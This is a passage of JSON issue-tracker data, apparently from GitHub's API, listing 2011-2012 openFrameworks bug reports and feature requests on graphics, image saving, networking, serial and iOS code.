ofConstants.h\r\n\r\n\t#define OF_KEY_CTRL\t\t\t0x0200\r\n\t#define OF_KEY_ALT\t\t\t0x0300\r\n\t#define OF_KEY_SHIFT\t\t0x0400\r\n\r\nBut it seems to have stopped there.\r\n\r\nI'm happy to work on this -- any suggestions on a strategy? Perhaps this is already being addressed of 007?\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/652","comments":5,"milestone":null,"number":652,"html_url":"https://github.com/openframeworks/openFrameworks/issues/652","assignee":null,"title":"ofAppGlutWindow/ofEvents: pressedKeys accumulate in special cases","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-07-15T18:49:46Z","state":"open","user":{"url":"https://api.github.com/users/bakercp","gravatar_id":"8f6ac7bc0f5c26b87269d442d5339206","login":"bakercp","avatar_url":"https://secure.gravatar.com/avatar/8f6ac7bc0f5c26b87269d442d5339206?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":300484},"id":1231959,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-07-20T19:04:31Z","body":"If you use those these two together the 3d objects get an unwanted offset\r\n\r\ncode:\r\n\r\n```c++\r\nvoid testApp::draw()\r\n{\r\n \r\n cam.begin();\r\n ofPushMatrix();\r\n ofSetColor(255,255,255);\r\n ofBox(200);\r\n ofPopMatrix();\r\n cam.end();\r\n \r\n \r\n fbo.begin();\r\n cam.begin();\r\n \r\n ofClear(0);\r\n ofPushMatrix();\r\n ofSetColor(0,0,0);\r\n ofBox(200);\r\n ofPopMatrix();\r\n \r\n cam.end();\r\n fbo.end();\r\n \r\n \r\n glPushMatrix();\r\n //ofTranslate(0,6,0); <--- now i'm using something like this to \"repair\" it\r\n ofSetColor(255,255,255,255);\r\n glScalef(1,-1,1);\r\n fbo.draw(0,- ofGetHeight());\r\n glPopMatrix();\r\n \r\n \r\n \r\n}\r\n```\r\n\r\nNormally the two boxes should overlap completely, instead it looks like this:\r\n\r\n![screen1](http://i51.tinypic.com/11cfi1l.png)\r\n![screen2](http://i55.tinypic.com/2ewnv5i.png)\r\n\r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/651","comments":4,"milestone":null,"number":651,"html_url":"https://github.com/openframeworks/openFrameworks/issues/651","assignee":null,"title":"ofFBO + ofCamera = unwanted offset","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS","color":"2a8296"}],"closed_at":null,"created_at":"2011-07-15T13:21:44Z","state":"open","user":{"url":"https://api.github.com/users/toxin20","gravatar_id":"29a3b85e704ec06a72df8897a726920e","login":"toxin20","avatar_url":"https://secure.gravatar.com/avatar/29a3b85e704ec06a72df8897a726920e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":123776},"id":1230184,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-07-19T00:31:38Z","body":"\r\nA tiny issue I spotted:\r\n\r\nofQuaternion.cpp, line 14:\r\n\r\n```C++\r\n/// Set the elements of the Quat to represent a rotation of angle\r\n/// (radians) around the axis (x,y,z)\r\nvoid ofQuaternion::makeRotate( float angle, float x, float y, float z ) {\r\n\tangle = ofDegToRad(angle);\r\n```\r\n\r\nof**X**Quaternion::makeRotate used to take radians, only noticed as I was moving some old code over, otherwise I would have just looked at the code in ofQuaternion.cpp to see the angle type. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/646","comments":1,"milestone":null,"number":646,"html_url":"https://github.com/openframeworks/openFrameworks/issues/646","assignee":null,"title":"ofQuaternion::makeRotate takes degrees, used to take radians, documentation says radians","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/documentation","name":"documentation","color":"cccc29"}],"closed_at":null,"created_at":"2011-07-13T15:18:04Z","state":"open","user":{"url":"https://api.github.com/users/andreasmuller","gravatar_id":"210831a04d36f1aa26413ecbdbd4b07c","login":"andreasmuller","avatar_url":"https://secure.gravatar.com/avatar/210831a04d36f1aa26413ecbdbd4b07c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":791114},"id":1216274,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-07-12T16:05:23Z","body":"^^^^\r\nTried on Mac:\r\nhttps://gist.github.com/1078282","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/645","comments":0,"milestone":null,"number":645,"html_url":"https://github.com/openframeworks/openFrameworks/issues/645","assignee":null,"title":"ofVideoGrabber::listDevices() does not list devices when initGrabber not called","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-07-12T16:05:23Z","state":"open","user":{"url":"https://api.github.com/users/roxlu","gravatar_id":"a3e45d93c2d24b6ae8bbef0453065e45","login":"roxlu","avatar_url":"https://secure.gravatar.com/avatar/a3e45d93c2d24b6ae8bbef0453065e45?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":358809},"id":1209436,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-16T04:21:18Z","body":"https://gist.github.com/1077933\r\n\r\nsaving images converted to 8PP using ofImage::setImageType(OF_IMAGE_GRAYSCALE) and then calling saveImage() save blank on windows, but works on OS X\r\n\r\ntraced the issue down to the call to FreeImage_Save(), both seem to be the same. not sure what the problem is\r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/643","comments":1,"milestone":null,"number":643,"html_url":"https://github.com/openframeworks/openFrameworks/issues/643","assignee":null,"title":"8 BPP (grayscale) ofImage saves blank on Windows, fine on os x","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"}],"closed_at":null,"created_at":"2011-07-12T13:05:25Z","state":"open","user":{"url":"https://api.github.com/users/obviousjim","gravatar_id":"3bcf955bca297a223e9daa1f997bfad5","login":"obviousjim","avatar_url":"https://secure.gravatar.com/avatar/3bcf955bca297a223e9daa1f997bfad5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":321434},"id":1208289,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-10T04:42:09Z","body":"Forum issue: http://forum.openframeworks.cc/index.php/topic,6316.new.html#new\r\n\r\nThis may be related to using CADisplayLink. When openGL seems to be pushed a bit, touch events seem to drop or are delayed. When using NSTimer in ofxiPhoneAppDelegate instead of CADisplayLink this does not occur.\r\n\r\nIt may be beneficial for developers to set whether they'd like to use CADisplayLink (if available) vs NSTimer for rendering or not.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/642","comments":0,"milestone":null,"number":642,"html_url":"https://github.com/openframeworks/openFrameworks/issues/642","assignee":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":331382},"title":"ofxiPhone: Possible delayed input/touch event issue ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-07-12T02:46:23Z","state":"open","user":{"url":"https://api.github.com/users/cerupcat","gravatar_id":"91b3d4bfbbb99d840b096cde3af877bf","login":"cerupcat","avatar_url":"https://secure.gravatar.com/avatar/91b3d4bfbbb99d840b096cde3af877bf?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":204151},"id":1205789,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-07-12T13:03:00Z","body":"See title and test code:\r\nhttps://gist.github.com/952bd35591dc0cb23f61","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/631","comments":1,"milestone":null,"number":631,"html_url":"https://github.com/openframeworks/openFrameworks/issues/631","assignee":null,"title":"ofImage::saveImage() - saving from png to gif creates grayscale image","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-07-07T21:37:47Z","state":"open","user":{"url":"https://api.github.com/users/roxlu","gravatar_id":"a3e45d93c2d24b6ae8bbef0453065e45","login":"roxlu","avatar_url":"https://secure.gravatar.com/avatar/a3e45d93c2d24b6ae8bbef0453065e45?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":358809},"id":1185346,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-27T03:48:47Z","body":"Tried to load a text file over https but I got this message:\r\n\r\n``400 The plain HTTP request was sent to HTTPS port\r\n

400 Bad Request

The plain HTTP request was sent to HTTPS port

nginx/1.0.4
``\r\n\r\n\r\n\r\nUsing this code\r\n``ofHttpResponse resp = ofLoadURL(\"https://raw.github.com/openframeworks/openFrameworks/6af1dc980f6d93d84b3bf8fdc1b6435697be9ed9/readme.txt\");``\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/623","comments":5,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","closed_issues":21,"number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":623,"html_url":"https://github.com/openframeworks/openFrameworks/issues/623","assignee":null,"title":"ofLoadURL() does not work with httpS","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-07-06T18:12:06Z","state":"open","user":{"url":"https://api.github.com/users/roxlu","gravatar_id":"a3e45d93c2d24b6ae8bbef0453065e45","login":"roxlu","avatar_url":"https://secure.gravatar.com/avatar/a3e45d93c2d24b6ae8bbef0453065e45?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":358809},"id":1175654,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-07-06T18:09:03Z","body":"Setting the position of an ofEasyCam instance in ofSetup() does not work. What does work in testApp::setup() is calling ofEasyCam::setDistance(). When calling ofEasyCam::setPosition() in for example testApp::draw() does work.\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/618","comments":0,"milestone":null,"number":618,"html_url":"https://github.com/openframeworks/openFrameworks/issues/618","assignee":null,"title":"call ofEasyCam::setPosition in testApp::setup() is forgotten","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-07-05T18:23:34Z","state":"open","user":{"url":"https://api.github.com/users/roxlu","gravatar_id":"a3e45d93c2d24b6ae8bbef0453065e45","login":"roxlu","avatar_url":"https://secure.gravatar.com/avatar/a3e45d93c2d24b6ae8bbef0453065e45?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":358809},"id":1169032,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-06-27T18:30:26Z","body":"Currently there doesn't appear to be any way to do this other than by hand\r\nAlso it would be highly useful ofMatrix3x3 in general had equivalent accessors to ofMatrix4x4","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/612","comments":0,"milestone":null,"number":612,"html_url":"https://github.com/openframeworks/openFrameworks/issues/612","assignee":null,"title":"need conversion ofMatrix3x3<->ofMatrix4x4","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-06-27T18:30:26Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":328294},"id":1124068,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-10-04T10:10:06Z","body":"Need some way of applying current ofMatrix4x4 to the scene without going down to gl calls","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/605","comments":4,"milestone":null,"number":605,"html_url":"https://github.com/openframeworks/openFrameworks/issues/605","assignee":null,"title":"function wrapping glMultMatrixf in ofMatrix4x4","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-06-16T13:13:35Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":328294},"id":1067300,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-10T04:42:59Z","body":"Here's a function that will do it...\r\n\r\nvoid ofxiPhoneLaunchBrowser(string url) {\r\n\t[[UIApplication sharedApplication] openURL:[NSURL URLWithString:ofxStringToNSString(url)]];\r\n}","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/603","comments":0,"milestone":null,"number":603,"html_url":"https://github.com/openframeworks/openFrameworks/issues/603","assignee":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":331382},"title":"ofLaunchBrowser() for iPhone not implemented","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-06-13T13:03:15Z","state":"open","user":{"url":"https://api.github.com/users/mazbox","gravatar_id":"3cfb19dbce7926933555ac9755a86ca8","login":"mazbox","avatar_url":"https://secure.gravatar.com/avatar/3cfb19dbce7926933555ac9755a86ca8?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":194121},"id":1048971,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-03T21:38:43Z","body":"OF: OF_LOG_ERROR: ofxNetwork:/addons/ofxNetwork/src/ofxTCPManager.cpp: 157 ECONNREFUSED: the server has actively refused to establish the connection\r\n\r\nThis error happens in every use of ofxTCPClient.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/599","comments":1,"milestone":null,"number":599,"html_url":"https://github.com/openframeworks/openFrameworks/issues/599","assignee":null,"title":"TCPManager Consistent Error","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-06-08T23:02:28Z","state":"open","user":{"url":"https://api.github.com/users/tomorrowevening","gravatar_id":"f92a8e912b59171abde0354e2f212c12","login":"tomorrowevening","avatar_url":"https://secure.gravatar.com/avatar/f92a8e912b59171abde0354e2f212c12?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":626143},"id":1027184,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-06-01T13:56:17Z","body":"http://forum.openframeworks.cc/index.php/topic,6370.0.html\r\n\r\nwhen they are not power of 2 perhaps?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/591","comments":0,"milestone":null,"number":591,"html_url":"https://github.com/openframeworks/openFrameworks/issues/591","assignee":null,"title":"problem with ofImage resize","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-06-01T13:56:17Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":48240},"id":984564,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-05-31T12:33:31Z","body":"### ofxNetworkUtils.h - issue 1\n\nThe default message should print out `err` instead of `errno`\n\n```\n\tdefault:\n\t\tofLog(OF_LOG_ERROR,\"ofxNetwork:\"+file+\": \" +line+\" unknown error: \" + ofToString(errno) + \" see errno.h for description of the error\");\n\t\tbreak;\n```\n\nto:\n\n```\n\tdefault:\n\t\tofLog(OF_LOG_ERROR,\"ofxNetwork:\"+file+\": \" +line+\" unknown error: \" + ofToString(err) + \" see errno.h for description of the error\");\n\t\tbreak;\n```\n\nSince errno would not be set on windows machines.\n\n\n\n\n### ofxTCPManager.cpp - issue 2\n\nIn the `Receive` method of the `ofxTCPManager` the function will always return -1 when checking for data and there is no new data and the TCPServer has been set to non-blocking.\n\nAfter changing the code in issue 1 mentioned above i got:\n\n`ofxNetwork:addons\\ofxNetwork\\src\\ofxTCPManager.cpp: 304 unknown error: 10035 see errno.h for description of the error`\n\ninstead of `error: 0` when `errno`was used.\n\nWhich on windows is the [`WSAEWOULDBLOCK`](http://msdn.microsoft.com/en-us/library/ms740668.aspx) or `EWOULDBLOCK` as defined in `ofxNetworkUtils`\n\nSo someplace in the code there should be a mechanism to check if the code is client is non-blocking and ignore the error.\nThis is `windows` only but still could be as an additional parameter to the `Receive` method. Or add it as an `switch case` for the `EWOULDBLOCK` in the `ofxNetworkUtils` and ignore the ouput and comment it.\n\nI just noticed this above when i started usin an application that i was developing on my mac an using it on windows machines this code would appear too often.\n\nSo as stated above my solution is that i added:\n\n```\n #ifdef TARGET_WIN32 // otherwise EAGAIN & EWOULDBLOCK will create a \"duplicate case value\" on Non windows\n\tcase EWOULDBLOCK: \n\t\t// \tofLog(OF_LOG_VERBOSE,\"ofxNetwork:\"+file+\": \" +line+\" EWOULDBLOCK: perhaps non-blocking\");\n\t\tbreak;\n #endif\n```\ncode and ignoring the output.\n\n\n\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/590","comments":0,"milestone":null,"number":590,"html_url":"https://github.com/openframeworks/openFrameworks/issues/590","assignee":null,"title":"ofxTCPManager.receive() - EWOULDBLOCK on Windows","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"}],"closed_at":null,"created_at":"2011-05-31T11:31:08Z","state":"open","user":{"url":"https://api.github.com/users/cristobal","gravatar_id":"c7f941e0c10696b758ae8792714a6744","login":"cristobal","avatar_url":"https://secure.gravatar.com/avatar/c7f941e0c10696b758ae8792714a6744?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":155505},"id":978212,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-05-31T02:06:22Z","body":"setFromPixels has two forms: one that takes an int channels, another that takes ofImageType.\r\n\r\nsetFromExternalPixels only has one form: it takes an int channels.\r\n\r\nin my opinion, it makes sense to change them both to ofImageType only, because the int channels is susceptible to accidentally passing an ofImageType to it.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/589","comments":0,"milestone":null,"number":589,"html_url":"https://github.com/openframeworks/openFrameworks/issues/589","assignee":null,"title":"setFromPixels vs setFromExternalPixels","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2011-05-31T02:06:22Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":976610,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-03T21:54:02Z","body":"ofImage_ should be ofBaseImage, likewise with ofPixels_\n\nin general, X_ style classes should be BaseX\n\ntemplated functions that are just sitting around should also have descriptive template names.\n\nit's important for this to happen before 007, otherwise code will be written against ofImage\\_<T> etc.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/582","comments":5,"milestone":null,"number":582,"html_url":"https://github.com/openframeworks/openFrameworks/issues/582","assignee":null,"title":"templated code needs to be more readable","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2011-05-23T17:46:28Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":942647,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-31T13:42:28Z","body":"just need to add the line\r\n\r\n\t\t\tcase 230400: cfsetispeed(&options,B230400);\r\n\t\t\t\tcfsetospeed(&options,B230400);\r\n\t\t\t\tbreak;\r\n\r\nin the setup function after\r\ncase 115200: cfsetispeed(&options,B115200);\r\n\t\t\t\t\t\tcfsetospeed(&options,B115200);\r\n\t\t\t\tbreak;\r\n\r\ntested with our device that runs at that baud rate, seems to work a-OK so far.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/577","comments":2,"milestone":null,"number":577,"html_url":"https://github.com/openframeworks/openFrameworks/issues/577","assignee":null,"title":"ofSerial: add 230400 speed","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bitesize","name":"bitesize","color":"65a300"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-05-20T16:16:52Z","state":"open","user":{"url":"https://api.github.com/users/labatrockwell","gravatar_id":"e6d243a56cd069a225f56f4a388e8838","login":"labatrockwell","avatar_url":"https://secure.gravatar.com/avatar/e6d243a56cd069a225f56f4a388e8838?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","id":313943},"id":932655,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-25T19:59:00Z","body":"This is a generic Linux build of oF for ARM Cortex A8/9 devices (Beagleboard, Pandaboard, Gumstix, Tegra 250, IGEPv2, ...) with built-in NEON optimizations in the included libs and makefiles (via gcc -O3 -march=armv7-a -mtune=cortex-a8 -mfpu=neon -ftree-vectorize -mfloat-abi=softfp)","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/576","comments":17,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8","closed_issues":0,"number":8,"title":"0080 Release","due_on":"2013-01-01T08:00:00Z","open_issues":3,"created_at":"2012-02-25T01:34:28Z","state":"open","description":"","id":88731},"number":576,"html_url":"https://github.com/openframeworks/openFrameworks/issues/576","assignee":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144366},"title":"Generic armv7l Linux build for Beagleboard &co. ","labels":[],"closed_at":null,"created_at":"2011-05-19T14:49:57Z","state":"open","user":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144366},"id":927378,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/576.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/576","patch_url":"https://github.com/openframeworks/openFrameworks/pull/576.patch"}},{"updated_at":"2011-05-13T15:28:46Z","body":"http://forum.openframeworks.cc/index.php?topic=6201.0","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/572","comments":0,"milestone":null,"number":572,"html_url":"https://github.com/openframeworks/openFrameworks/issues/572","assignee":null,"title":"ofToggleFullscreen doesn't set width and height correctly","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS","color":"2a8296"}],"closed_at":null,"created_at":"2011-05-13T15:28:46Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":48240},"id":895515,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-02T15:47:14Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/569","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","closed_issues":21,"number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":569,"html_url":"https://github.com/openframeworks/openFrameworks/issues/569","assignee":null,"title":"saving an image with the image quality flag set to high or best causes empty jpegs. 